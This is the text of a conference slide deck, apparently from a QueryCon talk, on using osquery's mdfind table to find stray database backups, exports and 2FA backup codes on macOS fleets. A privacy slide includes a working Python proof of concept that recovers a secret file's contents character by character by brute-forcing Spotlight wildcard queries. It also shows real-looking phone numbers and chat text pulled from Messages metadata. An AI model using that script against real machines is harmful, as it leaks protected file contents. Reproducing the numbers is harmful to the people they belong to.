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“There’s no such thing as bad publicity” 
~ Exploitative racist jerk: P.T. Barnum



Data Exfiltration in Numbers

https://www.statista.com/statistics/273550/data-breaches-recorded-in-the-united-states-by-number-of-breaches-and-records-exposed/

Data breaches Million records exposed
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How do databases get compromised / breached?



How do local copies of your production 
database end up on devices?



"Oh No! I can't reproduce this customer problem in 
development? What can I do?"



No Don't!...

"I Know! I'll download A COPY of the  
production database and Test with that!"



Making a copy isn't evil, but forgetting 
to delete it may hurt your company



What are characteristics of 
database copies and data exports?

Large File Size

Named ‘backup’… I hope?

Filetype like .db or .sql .gzip

Contains customer data

Downloaded from a consistent source



Finding files with the file table 
(Don't do this)



The file table in osquery is amazing, but it has limits

• You generally need to know where a file is located ahead of time 

• Wildcards permitted, but broadly scoped recursive searching 
generally sucks (symlinks = sadness) 

• The file table's introspection capabilities are ineffectually shallow

osquery> SELECT * FROM file  
         WHERE path LIKE “/Users/%%"  
         AND size >= 100000000  
         AND (filename LIKE "%backup%" OR filename LIKE "%export%");

W0619 11:54:42.192272 381031872 filesystem.cpp:294] Symlink loop detected 
possibly involving: /Users/fritz/kolide/website/node_modules/wide-align

😊😱



There must be another way!



mdfinding a needle in a haystack



What is mdfind?

• Powers the macOS Spotlight omni-search feature 

• Introduced in OS X 10.4 Tiger (2005) 

• A highly performant, fully indexed Search (across 200+ metadata attributes) 

• Supports boolean operators and other basic functions 

• Indexes file text contents of many common filetypes



How can we interact with mdfind?

Spotlight (GUI) 

mdfind (CLI) 

mdls (CLI) 

mdutil (CLI) 

mdimport (CLI) 

            osquery mdfind table
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How can we interact with mdfind?

Spotlight (GUI) 

mdfind (CLI) 

mdls (CLI) 

mdutil (CLI) 

mdimport (CLI) 

            osquery mdfind table
kMDItemWhereFroms                  = (
    "https://github.com/settings/auth/recovery-codes/download",
    "https://github.com/settings/auth/recovery-codes"

➜  ~ mdls /Users/fritz-imac/Downloads/github-recovery-codes.txt
_kMDItemRenderData                 = <09000000 c0875bc1 410003>
kMDItemContentCreationDate         = 2019-05-14 15:38:55 +0000
kMDItemContentCreationDate_Ranking = 2019-05-14 00:00:00 +0000
kMDItemContentModificationDate     = 2019-06-17 19:54:38 +0000
kMDItemContentType                 = "public.plain-text"
kMDItemContentTypeTree             = (
    "public.plain-text",
    "public.item",
    "public.text",
    "public.data",
    "public.content",
    "public.plain-text"
)
kMDItemDateAdded                   = 2019-05-14 15:38:55 +0000
kMDItemDateAdded_Ranking           = 2019-05-14 00:00:00 +0000
kMDItemDisplayName                 = "github-recovery-codes.txt"
kMDItemFSContentChangeDate         = 2019-06-17 19:54:38 +0000
kMDItemFSCreationDate              = 2019-05-14 15:38:55 +0000
kMDItemFSCreatorCode               = ""
kMDItemFSFinderFlags               = 0
kMDItemFSHasCustomIcon             = (null)
kMDItemFSInvisible                 = 0
kMDItemFSIsExtensionHidden         = 0
kMDItemFSIsStationery              = (null)
kMDItemFSLabel                     = 0
kMDItemFSName                      = "github-recovery-codes.txt"
kMDItemFSNodeCount                 = (null)
kMDItemFSOwnerGroupID              = 20
kMDItemFSOwnerUserID               = 502
kMDItemFSSize                      = 191
kMDItemFSTypeCode                  = ""
kMDItemInterestingDate_Ranking     = 2019-06-17 00:00:00 +0000
kMDItemKind                        = "Plain Text Document"
kMDItemLastUsedDate                = 2019-06-17 19:41:48 +0000
kMDItemLastUsedDate_Ranking        = 2019-06-17 00:00:00 +0000
kMDItemLogicalSize                 = 191
kMDItemPhysicalSize                = 4096
kMDItemWhereFroms                  = (
    "https://github.com/settings/auth/recovery-codes/download",
    "https://github.com/settings/auth/recovery-codes"
)
➜  ~
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How can we interact with mdfind?

Spotlight (GUI) 

mdfind (CLI) 

mdls (CLI) 

mdutil (CLI) 

mdimport (CLI) 

            osquery mdfind table
ObeliskGroob



Using mdfind in osquery

SELECT * FROM mdfind  
WHERE query = "kMDItemFSName == 'foobar'";



kMD Attributes are the key to mdfind

k - (Hungarian Notation for konstant)

kMDItemFSName

AttributeName

MD - (metadata)
Item



kMDItemAccountIdentifier 
kMDItemAcquisitionMake 
kMDItemAcquisitionModel 
kMDItemAdditionalRecipientEmailAddresses 
kMDItemAlbum 
kMDItemAlternateNames 
kMDItemAltitude 
kMDItemAperture 
kMDItemAppStoreCategory 
kMDItemAppStoreCategoryType 
kMDItemAppleLoopDescriptors 
kMDItemAppleLoopsKeyFilterType 
kMDItemAppleLoopsLoopMode 
kMDItemAppleLoopsRootKey 
kMDItemApplicationCategories 
kMDItemAttributeChangeDate 
kMDItemAudiences 
kMDItemAudioBitRate 
kMDItemAudioChannelCount 
kMDItemAudioEncodingApplication 
kMDItemAudioSampleRate 
kMDItemAudioTrackNumber 
kMDItemAuthorAddresses 
kMDItemAuthorContactIdentifiers 
kMDItemAuthorEmailAddresses 
kMDItemAuthors 
kMDItemBitsPerSample 
kMDItemBundleIdentifier 
kMDItemCFBundleIdentifier 
kMDItemCalendarHolidayIdentifier 
kMDItemCity 
kMDItemCodecs 
kMDItemColorSpace 
kMDItemComment 
kMDItemComposer 
kMDItemContactKeywords 
kMDItemContentCreationDate 
kMDItemContentModificationDate 
kMDItemContentType 
kMDItemContentTypeTree 
kMDItemContributors 
kMDItemCopyright 
kMDItemCountry 
kMDItemCoverage 
kMDItemCreator 
kMDItemDateAdded 
kMDItemDeliveryType 
kMDItemDescription 
kMDItemDestinationRecipients 

kMDItemDirector 
kMDItemDisplayName 
kMDItemDocumentContainer 
kMDItemDocumentLineage 
kMDItemDueDate 
kMDItemDurationSeconds 
kMDItemEXIFGPSVersion 
kMDItemEXIFVersion 
kMDItemEditors 
kMDItemEmailAddresses 
kMDItemEmailCategory 
kMDItemEmailConversationID 
kMDItemEncodingApplications 
kMDItemExecutableArchitectures 
kMDItemExecutablePlatform 
kMDItemExposureMode 
kMDItemExposureProgram 
kMDItemExposureTimeSeconds 
kMDItemFNumber 
kMDItemFSContentChangeDate 
kMDItemFSCreationDate 
kMDItemFSExists 
kMDItemFSHasCustomIcon 
kMDItemFSInvisible 
kMDItemFSIsExtensionHidden 
kMDItemFSIsReadable 
kMDItemFSIsStationery 
kMDItemFSIsWriteable 
kMDItemFSLabel 
kMDItemFSName 
kMDItemFSNodeCount 
kMDItemFSOwnerGroupID 
kMDItemFSOwnerUserID 
kMDItemFSSize 
kMDItemFinderComment 
kMDItemFinderOpenDate 
kMDItemFlashOnOff 
kMDItemFocalLength 
kMDItemFonts 
kMDItemGenre 
kMDItemHasAlphaChannel 
kMDItemHeadline 
kMDItemHiddenAdditionalRecipientEmailAddresses 
kMDItemISOSpeed 
kMDItemIdentifier 
kMDItemInformation 
kMDItemInstantMessageAddresses 
kMDItemInstructions 
kMDItemIsApplicationManaged 
kMDItemIsGeneralMIDISequence 
kMDItemIsLikelyJunk 

kMDItemIsQuarantined 
kMDItemIsScreenCapture 
kMDItemKeySignature 
kMDItemKeywords 
kMDItemKind 
kMDItemLanguages 
kMDItemLastUsedDate 
kMDItemLatitude 
kMDItemLayerNames 
kMDItemLensModel 
kMDItemLogicSongAlternatives 
kMDItemLogicSongUsedAudioFiles 
kMDItemLogicSongUsedEXSInstruments 
kMDItemLogicSongUsedImpulseResponses 
kMDItemLogicSongUsedUltrabeatFiles 
kMDItemLogicSongUsedVideoFiles 
kMDItemLogicalSize 
kMDItemLongitude 
kMDItemLyricist 
kMDItemMailboxes 
kMDItemMaxAperture 
kMDItemMediaTypes 
kMDItemMeteringMode 
kMDItemMusicalGenre 
kMDItemMusicalInstrumentCategory 
kMDItemMusicalInstrumentName 
kMDItemNamedLocation 
kMDItemNumberOfPages 
kMDItemOrganizations 
kMDItemOrientation 
kMDItemOriginApplicationIdentifier 
kMDItemOriginMessageIDkMDItemOriginMessageID 
kMDItemOriginSenderDisplayName 
kMDItemOriginSenderHandle 
kMDItemOriginSubject 
kMDItemOriginalFormat 
kMDItemOriginalSource 
kMDItemPageHeight 
kMDItemPageWidth 
kMDItemParticipants 
kMDItemPath 
kMDItemPerformers 
kMDItemPhoneNumbers 
kMDItemPhysicalSize 
kMDItemPixelCount 
kMDItemPixelHeight 
kMDItemPixelWidth 
kMDItemPrimaryRecipientEmailAddresses 
kMDItemProducer 
kMDItemProfileName 
kMDItemProjects 
kMDItemPublishers 
kMDItemPurchaseDate 

kMDItemRecipientAddresses 
kMDItemRecipientContactIdentifiers 
kMDItemRecipientEmailAddresses 
kMDItemRecipients 
kMDItemRecordingDate 
kMDItemRecordingYear 
kMDItemRedEyeOnOff 
kMDItemRelatedUniqueIdentifier 
kMDItemResolutionHeightDPI 
kMDItemResolutionWidthDPI 
kMDItemRights 
kMDItemScreenCaptureType 
kMDItemSecurityMethod 
kMDItemStarRating 
kMDItemStateOrProvince 
kMDItemStreamable 
kMDItemSubject 
kMDItemSupportFileType 
kMDItemTempo 
kMDItemTextContent 
kMDItemTheme 
kMDItemTimeSignature 
kMDItemTitle 
kMDItemTotalBitRate 
kMDItemURL 
kMDItemUsedDates 
kMDItemUserCreatedDate 
kMDItemUserCreatedUserHandle 
kMDItemUserDownloadedDate 
kMDItemUserDownloadedUserHandle 
kMDItemUserModifiedDate 
kMDItemUserModifiedUserHandle 
kMDItemUserPrintedDate 
kMDItemUserPrintedUserHandle 
kMDItemUserSharedReceivedDate 
kMDItemUserSharedReceivedRecipient 
kMDItemUserSharedReceivedRecipientHandle 
kMDItemUserSharedReceivedSender 
kMDItemUserSharedReceivedSenderHandle 
kMDItemUserSharedReceivedTransport 
kMDItemUserSharedSentDate 
kMDItemUserSharedSentRecipient 
kMDItemUserSharedSentRecipientHandle 
kMDItemUserSharedSentSender 
kMDItemUserSharedSentSenderHandle 
kMDItemUserSharedSentTransport 
kMDItemUserTags 
kMDItemVersion 
kMDItemVideoBitRate 
kMDItemWeakRelatedUniqueIdentifier 
kMDItemWhereFroms 
kMDItemWhiteBalance 

$> mdimport -A

kMDItemFSContentChangeDate
kMDItemFSCreationDate
kMDItemFSName
kMDItemFSSize
kMDItemTextContent
kMDItemWhereFroms



Mdfind Query Syntax
== equals 

"kMDItemFSName == 'foo'" 

!= doesn't equal 

"kMDItemFSName != 'foobar'" 

< less than 

"kMDItemFSSize < 24"  

> greater than 

"kMDItemFSSize > 10737418240"  

<= less than or equal to 

"kMDItemFSName <= 'foobar'" 

>= greater than or equal to 

"kMDItemFSContentChangeDate >= $time.this_month(-2)"  

c makes string case insensitive 

"kMDItemFSName = 'FoO'c" 

d ignores diacritical marks (such as à, ê, ñ, ß, etc.) 

"kMDItemFSName = 'föo'd" 

* string wildcard (can trail or lead, Cannot infix) 

"kMDItemFSName == ‘*foo*’" 

&& AND condition 

"kMDItemFSName = 'foo' && kMDItemTextContent = 'bar'" 

|| OR condition 

"kMDItemFSName = 'foo' || kMDItemFSName = 'bar'" 

() Separating and nesting groups of conditions 

"(kMDItemFSName = 'foo' || kMDItemFSName = 'bar') &&…   



/Users/fritz/dev/pg/backups/backup-2019-06-11T06-57-36Z.sql

Finding a 
DB backup



Finding a DB Backup 
Attempt #1: Naive Single Condition (filename only)

The basic mdfind query: Single condition, 
zero complexity 

• Looks for a file with the string backup in 
the title. 

• Similar output to what a perfect recursive 
file table search would return

osquery> SELECT f.path 
         FROM file f, mdfind md USING (path) 
         WHERE md.query = "kMDItemFSName == '*backup*'"



Live demo



Finding a DB Backup 
Attempt #2: Two conditions (scope based on size)

Two Conditions: 

• Looks for a file with the string 'backup' in 
the title. 

• Omits any results that are smaller than 100 
MB in size

osquery> SELECT f.path 
         FROM file f, mdfind md USING (path) 
         WHERE md.query =  
         "kMDItemFSName == '*backup*' && kMDItemFSSize >= 100000000";



Finding a DB Backup 
Attempt #3: Three conditions (Check Item Content Index)

Three Conditions: 

• Looks for a file with the string 'backup' in the title. 

• Omits any results that are smaller than 100 MB in size 

• Looks for any file whose contents contains a known 
customer UUID

d

osquery> SELECT f.path 
         FROM file f, mdfind md USING (path) 
         WHERE md.query =  
         "kMDItemFSName == '*backup*' && kMDItemFSSize >= 100000000 && 
kMDItemTextContent == '7472-a84n-2727f8e0-82813-5565';



Finding a DB Backup 
Attempt #4: Back to one condition (Less complexity can be a good thing)

One Condition: 

• Looks for any file whose contents 
contains the unique UUID string:         

'7472-a84n-2727f8e0-82813-5565'

osquery> SELECT f.path 
         FROM file f, mdfind md USING (path) 
         WHERE md.query =  
         "kMDItemTextContent == '7472-a84n-2727f8e0-82813-5565'";



A different approach 
Using wherefrom

• What about files that are 
gzipped or tarred where file 
contents aren’t cached? 

• kMDItemWhereFroms

osquery> SELECT f.path 
         FROM file f, mdfind md USING (path) 
         WHERE md.query =  
         "kMDItemWhereFroms == '*https://data.heroku.com/datastores/*'"



We did it! We’re the best! 
But sometimes mdfind won’t work…



Caveats

• macOS only 

• Can be disabled by the end user 

• Limited to User-Visible directories (with optional omissions) 

• Attempts to not cache files that appear to contain key material 

• Uses a different query syntax than osquery



Checking for mdfind exclusions on your devices

osquery> SELECT value AS mdfind_excluded_path FROM plist where path = 
'/.Spotlight-V100/VolumeConfiguration.plist' 
AND key = 'Exclusions' 
AND value is not null 
AND value <> ''; 

+--------------------------------------------------------+ 
| mdfind_excluded_path                                   | 
+--------------------------------------------------------+ 
| /Users/fritz-imac/Downloads/grandmas-gingersnap-recipe | 
| /Users/fritz-imac/Downloads/secret-hidden-stuff        | 
| /Users/fritz-imac/Downloads/the-launch-codes           | 
+--------------------------------------------------------+ 
osquery> 



Checking for mdfind exclusions on your devices

osquery> SELECT value FROM plist where path LIKE  
'/Users/%/Library/Preferences/com.apple.Spotlight.plist' AND key = 
'orderedItems'; 
 
value = APPLICATIONS 
value = 1 
value = BOOKMARKS 
value = 1 
value = CONTACT 
value = 1 
value = DOCUMENTS 
value = 1 
value = SPREADSHEETS 
value = 1 
value = SYSTEM_PREFS 
value = 1 
value = IMAGES 
value = 1 
value = MUSIC 
value = 1 
value = MOVIES



Privacy Implications of mdfind

➜  ~ mdls '/Users/fritz-imac/Library/Messages/Archive/2019-06-18/Chat with <202a><202d>+1 (203) 
313-2253<202c><202c> et al on 2019-06-18 at 10.22.32.ichat' 
_kMDItemDisplayNameWithExtensions  = "Chat with +1 (203) 313-2253 et al on 2019-06-18 at 
10.22.32.ichat"
kMDItemAuthorAddresses             = (
    "e:"
)
kMDItemAuthors                     = (
    "Fritz Ifert-Miller",
    "\U202a\U202d+1 (203) 313-2253\U202c\U202c",
    "\U202a\U202d+1 (860) 733-2618\U202c\U202c",
    "\U202a\U202d+1 (203) 490-4876\U202c\U202c"
)
kMDItemContentCreationDate         = 2019-06-18 13:58:28 +0000
kMDItemContentCreationDate_Ranking = 2019-06-18 00:00:00 +0000
kMDItemContentModificationDate     = 2019-06-18 18:29:47 +0000
kMDItemContentType                 = "com.apple.ichat.transcript"
kMDItemCoverage                    = "chat809819206630457684"
kMDItemDateAdded                   = 2019-06-18 18:29:58 +0000
kMDItemDateAdded_Ranking           = 2019-06-18 00:00:00 +0000
kMDItemDeliveryType                = "SMS"
kMDItemDescription                 = "Hey you guys going to QueryCon this week? Absolutely, I'm 
giving a talk this year! Drinks 🍻  afterwards? You know it!"
kMDItemDisplayName                 = "Chat with +1 (203) 313-2253 et al on 2019-06-18 at 
10.22.32.ichat”
kMDItemDurationSeconds             = 16278
kMDItemFSContentChangeDate         = 2019-06-18 18:29:47 +0000
kMDItemFSCreationDate              = 2019-06-18 14:22:32 +0000
kMDItemFSName                      = "Chat with +1 (203) 313-2253 et al on 2019-06-18 at 
10.22.32.ichat"
kMDItemInstantMessageAddresses     = (
    "e:",
    12033132253,
    18607332618,
    12034904876
)
kMDItemInterestingDate_Ranking     = 2019-06-18 00:00:00 +0000
kMDItemIsApplicationManaged        = 1

kMDItemDescription = 
"Hey you guys going to QueryCon this week? 
Absolutely,  I'm giving a talk this year! 
Drinks 🍻 afterwards? You know it!"

kMDItemDescription = 
"Hey you guys going to QueryCon this week? 
Absolutely,  I'm giving a talk this year! 
Drinks 🍻 afterwards? You know it!"

kMDItemInstantMessageAddresses = 
+1 (203) 313-2253
+1 (860) 733-2618
+1 (203) 490-4876



Privacy Implications cont.

Open issue for data leakage via brute forcing mdfind wildcard capabilities
$ cat secret.txt 
1d0puzt9880y25qquwamcbzng6jn5x2d2g 
$ time python read-file-with-osquery.py 
Prefix so far:  
Prefix so far: 1 
Prefix so far: 1d 
Prefix so far: 1d0 
Prefix so far: 1d0p 
Prefix so far: 1d0pu 
Prefix so far: 1d0puz 
Prefix so far: 1d0puzt 
Prefix so far: 1d0puzt9 
Prefix so far: 1d0puzt98 
Prefix so far: 1d0puzt988 
Prefix so far: 1d0puzt9880 
Prefix so far: 1d0puzt9880y 
Prefix so far: 1d0puzt9880y2 
Prefix so far: 1d0puzt9880y25 
Prefix so far: 1d0puzt9880y25q 
Prefix so far: 1d0puzt9880y25qq 
Prefix so far: 1d0puzt9880y25qqu 
Prefix so far: 1d0puzt9880y25qquw 
Prefix so far: 1d0puzt9880y25qquwa 
Prefix so far: 1d0puzt9880y25qquwam 
Prefix so far: 1d0puzt9880y25qquwamc 
Prefix so far: 1d0puzt9880y25qquwamcb 
Prefix so far: 1d0puzt9880y25qquwamcbz 
Prefix so far: 1d0puzt9880y25qquwamcbzn 
Prefix so far: 1d0puzt9880y25qquwamcbzng 
Prefix so far: 1d0puzt9880y25qquwamcbzng6 
Prefix so far: 1d0puzt9880y25qquwamcbzng6j 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2 
Prefix so far: 1d0puzt9880y25qquwamcbzng6jn5x2d2g

import osquery 

import string 

printable = string.printable[:string.printable.find('"')] 

class FileReader: 

    def __init__(self): 

        self.instance = osquery.SpawnInstance() 

        self.instance.open() 

    def read(self, path): 

        prefix = '' 

        while True: 

          print("Prefix so far: {}".format(prefix)) 

          for c in printable: 

              query = r"""select * from mdfind where query = "kMDItemTextContent == '{}*' && kMDItemFSName == '{}'";""".format(prefix + c, path) 

              query_result = self.instance.client.query(query) 

              if len(query_result.response): 

                  prefix += c 

                  break 

          else: 

              break 

        print("Final string found: {}".format(prefix)) 

if __name__ == "__main__": 

    f = FileReader() 

    f.read("secret.txt")

https://github.com/osql/osql/issues/49

https://github.com/osql/osql/issues/49


"I'm sorry Fritz, I can't let you search that"

macOS 10.15 Catalina

"Terminal.app" would like to access 
your Documents
An application in Terminal wants to use your documents.

Don't Allow OK
"Terminal.app" would like to access 
your Downloads
An application in Terminal wants to use your downloads.

Don't Allow OK

"Terminal.app" would like to access 
your Contacts
An application in Terminal wants to use your contacts.

Don't Allow OK



Find while the mdfind’ing is good.



Find photos taken within a given coordinate range 
Adaptable to if you worked at an R&D facility with strict no photo policy

SELECT f.path, 
       ROUND((f.size * 10e-7),2) size_megabytes, 
       f.btime file_created_epoch, 
       datetime(f.btime, "unixepoch") file_created 
FROM file f, mdfind md USING (path) 
WHERE md.query =  
"kMDItemLatitude > 42.146512 && kMDItemLatitude < 42.48565 && 
kMDItemLongitude < '-70.74414' && kMDItemLongitude > '-71.3241'";



Find items downloaded from a specific source 
Great for finding forgotten 2FA backup codes and data exports

SELECT f.path, 
       ROUND((f.size * 10e-7),2) size_megabytes, 
       f.btime file_created_epoch, 
       datetime(f.btime, "unixepoch") file_created 
FROM file f, mdfind md USING (path) 
WHERE md.query =  
"kMDItemWhereFroms =  
'https://myaccount.google.com/_/two-step-verification/
backupcodes/download?*'";



Find items from a specific time range 
Good for cleaning up old export jobs after they are no longer being used

SELECT f.path, 
       ROUND((f.size * 10e-7),2) size_megabytes, 
       f.btime file_created_epoch, 
       datetime(f.btime, "unixepoch") file_created 
FROM file f, mdfind md USING (path) 
WHERE md.query =  
"(kMDItemFSCreationDate >= $time.today(-14)) &&  
 (kMDItemFSName = '*.csv')";



Determine how much disk space a filetype is consuming 
Useful if you are trying to rebuild Apple's storage widget

SELECT ROUND(CAST(SUM(f.size * 10e-10) AS decimal(20,2))) AS 
sum_GB, COUNT(1) AS number_files 
FROM file f, mdfind md USING (path) 
WHERE md.query = "kMDItemFSName == '*.sketch'"



Joining on extended_attributes to display metadata contents 
For example: Where files were downloaded from

SELECT mdfind.path, 
       ROUND((f.size * 10e-7),2) AS size_megabytes, 
       datetime(f.btime, 'unixepoch') AS file_created, 
       ea.value AS download_source 
       FROM extended_attributes ea 
JOIN mdfind ON mdfind.path = ea.path 
JOIN file f ON f.path = mdfind.path 
  AND mdfind.query =  
      "(kMDItemWhereFroms != '') && (kMDItemDateAdded >= $time.today(-14))" 
  AND ea.key = 'where_from' 
    GROUP BY ea.value 
    ORDER BY f.btime DESC 
    LIMIT 100;



Additional Reading

Kolide mdfind Blog Post: 

https://blog.kolide.com/spotlight-search-across-every-mac-in-your-fleet-with-osquery-55789c765986 

 
Apple Spotlight Query Syntax Documentation: 

https://developer.apple.com/library/archive/documentation/Carbon/Conceptual/SpotlightQuery/Concepts/QueryFormat.html 

Apple Spotlight Metadata Attributes Documentation: 

https://developer.apple.com/library/archive/documentation/CoreServices/Reference/MetadataAttributesRef/Reference/CommonAttrs.html

https://blog.kolide.com/spotlight-search-across-every-mac-in-your-fleet-with-osquery-55789c765986
https://developer.apple.com/library/archive/documentation/Carbon/Conceptual/SpotlightQuery/Concepts/QueryFormat.html
https://developer.apple.com/library/archive/documentation/CoreServices/Reference/MetadataAttributesRef/Reference/CommonAttrs.html


Questions?



Thank you!

fritz @ kolide.com  
github.com / Fritzx6 
fritz @ osquery Slack 


